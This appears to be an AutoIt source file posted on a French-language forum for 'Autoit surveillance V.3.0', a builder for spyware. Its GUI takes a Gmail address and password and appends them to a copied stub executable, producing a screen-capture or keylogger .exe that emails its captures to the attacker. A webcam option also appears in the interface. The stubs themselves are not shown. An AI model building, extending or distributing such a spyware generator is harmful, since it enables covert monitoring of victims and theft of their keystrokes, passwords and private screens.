Code : Tout sélectionner
#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_icon=chaine-chomper-icone-9045.ico
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
#include <ButtonConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
#Region ### START Koda GUI section ### Form=
;########-------######### GUI1 #########-------########
#Region ### START Koda GUI section ### Form=C:\Users\Kevin\Desktop\script\autoit surveillance\data\Form1_1.kxf
Global $Form1_1 = GUICreate("Autoit surveillance -V.3.0 by Kevzi", 407, 202, 307, 143)
Global $MenuItem1 = GUICtrlCreateMenu("&Menu")
Global $MenuItem2 = GUICtrlCreateMenuItem("Aide", $MenuItem1)
Global $MenuItem3 = GUICtrlCreateMenuItem("Info", $MenuItem1)
GUISetBkColor(0xFFFFFF)
Global $Label2 = GUICtrlCreateLabel("Surveillance", 208, 16, 141, 32)
GUICtrlSetFont(-1, 14, 800, 0, "Segoe Script")
GUICtrlSetColor(-1, 0x000000)
Global $Pic1 = GUICtrlCreatePic(@ScriptDir & "\data\images.jpg", 312, 88, 50, 50, BitOR($SS_NOTIFY, $WS_GROUP, $WS_CLIPSIBLINGS))
Global $Label5 = GUICtrlCreateLabel("Capture ecran", 304, 144, 72, 17)
Global $Pic2 = GUICtrlCreatePic(@ScriptDir & "\data\webcam.gif", 32, 88, 48, 48, BitOR($SS_NOTIFY, $WS_GROUP, $WS_CLIPSIBLINGS))
Global $Label6 = GUICtrlCreateLabel("Webcam", 32, 144, 47, 17)
Global $Pic3 = GUICtrlCreatePic(@ScriptDir & "\data\keylogger.jpg", 168, 88, 50, 50, BitOR($SS_NOTIFY, $WS_GROUP, $WS_CLIPSIBLINGS))
Global $Label7 = GUICtrlCreateLabel("Keylogger", 168, 144, 51, 17)
Global $Group1 = GUICtrlCreateGroup("Fonctions", 24, 64, 361, 105)
GUICtrlCreateGroup("", -99, -99, 1, 1)
Global $Pic4 = GUICtrlCreatePic(@ScriptDir & "\data\autoit.jpg", 24, 0, 177, 57, BitOR($SS_NOTIFY, $WS_GROUP, $WS_CLIPSIBLINGS))
GUISetState(@SW_SHOW)
$input = 60000
While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
Exit
Case $Pic1
$texte1 = InputBox("compte gmail", "entrer l'adresse email:")
$texte2 = InputBox("compte gmail", "entrer le mot de passe:", "", "*")
$texte3 = ""
$Fichier_final = FileSaveDialog("Ou sauvegarder le .exe?", -1, "exe files (*.exe)", 16) ;On demande où enregistrer notre fichier final
If @error Then ;si on clic sur le bouton annulé
MsgBox(64, "Erreur", "Sauvegarde annulé") ;on informe l'utilisateur
Else ; sinon
FileCopy(@ScriptDir & "\Stub\Stub.exe", $Fichier_final) ;on copie notre stub(donc notre fichier attendant les données)
FileWrite($Fichier_final, @CRLF & "~\0/~" & $texte1 & "~\0/~" & $texte2 & "~\0/~" & $texte3 & "~\0/~")
;On écrit dans le fichier copier qui correspond au stub toute les données voulus. les ~\0/~ étant nos délimiteurs.
FileClose($Fichier_final); on ferme notre fichier
MsgBox(64, "Succès", "Le builder a était créé avec succès") ;on informe l'utilisateur
EndIf ;fin de la condition
Case $MenuItem3
MsgBox(64, "Autoit surveillance", "Crée par Kevzi.version: Bêta.")
Case $MenuItem2
MsgBox(64, "Autoit surveillance", "il suffit de taper votre adresse email et votre mot de passe, et vous recevrez les images sur votre compte mail")
Case $Pic3
$texte1 = InputBox("compte gmail", "entrer l'adresse email:")
$texte2 = InputBox("compte gmail", "entrer le mot de passe:", "", "*")
$texte3 = ""
$Fichier_final = FileSaveDialog("Ou sauvegarder le .exe?", -1, "exe files (*.exe)", 16) ;On demande où enregistrer notre fichier final
If @error Then ;si on clic sur le bouton annulé
MsgBox(64, "Erreur", "Sauvegarde annulé") ;on informe l'utilisateur
Else ; sinon
FileCopy(@ScriptDir & "\Stub\Stub2.exe", $Fichier_final) ;on copie notre stub(donc notre fichier attendant les données)
FileWrite($Fichier_final, @CRLF & "~\0/~" & $texte1 & "~\0/~" & $texte2 & "~\0/~" & $texte3 & "~\0/~")
;On écrit dans le fichier copier qui correspond au stub toute les données voulus. les ~\0/~ étant nos délimiteurs.
FileClose($Fichier_final); on ferme notre fichier
MsgBox(64, "Succès", "Le builder a était créé avec succès") ;on informe l'utilisateur
EndIf ;fin de la condition
EndSwitch
WEnd